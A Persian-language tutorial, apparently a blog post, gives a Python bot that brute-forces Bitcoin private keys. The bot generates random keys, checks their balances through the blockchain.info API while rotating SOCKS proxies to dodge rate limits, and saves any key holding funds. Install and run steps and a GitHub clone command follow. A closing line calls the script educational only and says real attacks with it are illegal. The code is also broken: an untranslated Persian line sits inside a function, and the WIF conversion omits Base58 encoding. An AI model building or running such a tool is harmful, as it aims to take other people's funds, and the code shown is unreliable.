با همه این تفاسیر میتونیم چنین رباتی به شکل زیر داشته باشیم و بصورت بخش بخش شما میتونید همه اجزا اونو ببینید
👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇👇
تابع generate_private_key
از os.urandom
برای تولید یه کلید خصوصی ۳۲ بایتی استفاده میکنه.
تابع private_key_to_wif
کلید خصوصی رو به فرمت Wallet Import Format (WIF) تبدیل میکنه.
تابع private_key_to_address
کلید خصوصی رو به آدرس عمومی بیتکوین تبدیل میکنه.
تابع check_balance
با استفاده از API سرویس Blockchain.info موجودی آدرس رو بررسی میکنه.
تابع save_key_info
اطلاعات کلید خصوصی، آدرس عمومی و موجودی رو در فایل keys_with_balance.txt
ذخیره میکنه.
در تابع main
، تعداد مشخصی کلید خصوصی تولید میشه و آدرسهای عمومی متناظر با اونها بررسی میشن. اگه آدرس دارای موجودی غیرصفر باشه، کلید خصوصی و آدرس عمومی در فایل ذخیره میشن.
اول باید کتابخونه requests[socks]
رو نصب کنی:
pip install requests[socks]
بعد فایل proxy.txt
رو به صورت زیر ایجاد کن و پراکسیهای خودتو داخلش ذخیره کن:
user1:pass1@ip1:port1
user2:pass2@ip2:port2
...
import os
import hashlib
import requests
import time
from itertools import cycle
from bitcoinlib.keys import PrivateKey
import socket
import socks
from concurrent.futures import ThreadPoolExecutor, as_completed
# تعداد کلیدهای خصوصی که قصد تولید داریم
num_keys = 1000000
num_workers = 10 # تعداد کارگران (تعداد thread ها)
def load_proxies(file_path):
"""بارگذاری پراکسیها از فایل"""
with open(file_path, 'r') as f:
proxies = f.read().splitlines()
return cycle(proxies)
def set_proxy(proxy):
"""تنظیم پراکسی برای درخواستها"""
proxy رو پاکسازی کن
if '@' in proxy:
user_pass, ip_port = proxy.split('@')
user, password = user_pass.split(':')
ip, port = ip_port.split(':')
else:
ip, port = proxy.split(':')
user, password = None, None
socks.set_default_proxy(socks.SOCKS5, ip, int(port), username=user, password=password)
socket.socket = socks.socksocket
def check_proxy(proxy):
"""بررسی فعال بودن پراکسی"""
try:
set_proxy(proxy)
response = requests.get('http://www.google.com', timeout=5)
return response.status_code == 200
except:
return False
load_proxies
: این تابع پراکسیها رو از یه فایل بارگذاری میکنه.set_proxy
: این تابع پراکسی فعلی رو تنظیم میکنه.check_proxy
: این تابع فعال بودن پراکسی رو بررسی میکنه.def generate_private_key():
"""تولید یه کلید خصوصی تصادفی"""
return os.urandom(32)
def private_key_to_wif(private_key):
"""تبدیل کلید خصوصی به فرمت WIF"""
extended_key = b'\x80' + private_key
sha256_1 = hashlib.sha256(extended_key).digest()
sha256_2 = hashlib.sha256(sha256_1).digest()
checksum = sha256_2[:4]
wif = extended_key + checksum
return wif
def private_key_to_address(private_key):
"""تبدیل کلید خصوصی به آدرس عمومی بیتکوین"""
priv = PrivateKey(wif=private_key_to_wif(private_key))
return priv.address()
generate_private_key
: این تابع یه کلید خصوصی تصادفی تولید میکنه.private_key_to_wif
: این تابع کلید خصوصی رو به فرمت WIF تبدیل میکنه.private_key_to_address
: این تابع کلید خصوصی رو به آدرس عمومی بیتکوین تبدیل میکنه.def check_balance(address):
"""بررسی موجودی آدرس بیتکوین"""
url = f"https://blockchain.info/rawaddr/{address}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
return data.get('final_balance', 0)
else:
return 0
def save_key_info(index, private_key, address, balance):
"""ذخیره کلید خصوصی و آدرس عمومی در فایل"""
with open("keys_with_balance.txt", "a") as f:
f.write(f"{index}: Private Key: {private_key.hex()}, Address: {address}, Balance: {balance}\n")
check_balance
: این تابع موجودی آدرس بیتکوین رو بررسی میکنه.save_key_info
: این تابع اطلاعات کلید خصوصی، آدرس عمومی و موجودی رو در فایل ذخیره میکنه.def process_key(index, proxy):
private_key = generate_private_key()
address = private_key_to_address(private_key)
balance = check_balance(address)
temp_file = f"temp_key_{index}.txt"
with open(temp_file, "w") as f:
f.write(f"{index}: Private Key: {private_key.hex()}, Address: {address}, Balance: {balance}\n")
if balance > 0:
with open("keys_with_balance.txt", "a") as final_file:
final_file.write(f"{index}: Private Key: {private_key.hex()}, Address: {address}, Balance: {balance}\n")
print(f"Found address with balance: {address} with balance {balance}")
else:
os.remove(temp_file)
process_key
: این تابع کلید خصوصی رو تولید، موجودی رو بررسی و فایلهای غیرضروری رو حذف میکنه.def main():
proxy_cycle = load_proxies("proxy.txt")
current_proxy = next(proxy_cycle)
# بررسی و تنظیم پراکسی
while not check_proxy(current_proxy):
current_proxy = next(proxy_cycle)
set_proxy(current_proxy)
start_time = time.time()
with ThreadPoolExecutor(max_workers=num_workers) as executor:
futures = {executor.submit(process_key, i, current_proxy): i for i in range(num_keys)}
for future in as_completed(futures):
index = futures[future]
try:
future.result()
except Exception as exc:
print(f"Key {index} generated an exception: {exc}")
# تغییر پراکسی هر ۲ دقیقه
if time.time() - start_time > 120:
current_proxy = next(proxy_cycle)
while not check_proxy(current_proxy):
current_proxy = next(proxy_cycle)
set_proxy(current_proxy)
start_time = time.time()
if index % 100 == 0:
print(f"Checked {index} keys...")
if __name__ == "__main__":
main()
main
: این تابع اصلی اسکریپته که پراکسیها رو مدیریت، کلیدها رو تولید و نتایج رو پردازش میکنه.نصب پایتون
sudo apt update
sudo apt install python3 python3-pip
نصب پیشنیازها
pip3 install requests[socks] bitcoinlib
دانلود فایل از گیت هاب
git clone https://github.com/xOneiros/wallet-finder.git
cd wallet-finder
جایگذاری مواردی که لازم است
proxy.txt
رو با محتوای پراکسیهای خودت ایجاد کن.proxy.txt
توی همون دایرکتوری اسکریپت قرار داره.لینکهای API مورد نیاز
فایل proxy.txt
رو با محتوای پراکسیهای خودت ایجاد کن. هر خط باید شامل یه پراکسی به فرمت زیر باشه:
user:pass@ip:port
برای اجرای اسکریپت، از دستور زیر استفاده کن:
python3 script.py
keys_with_balance.txt
ذخیره میشن.این اسکریپت فقط برای اهداف آموزشی ارائه شده و استفاده از اون برای حملات واقعی به شدت نامناسب و غیرقانونیه.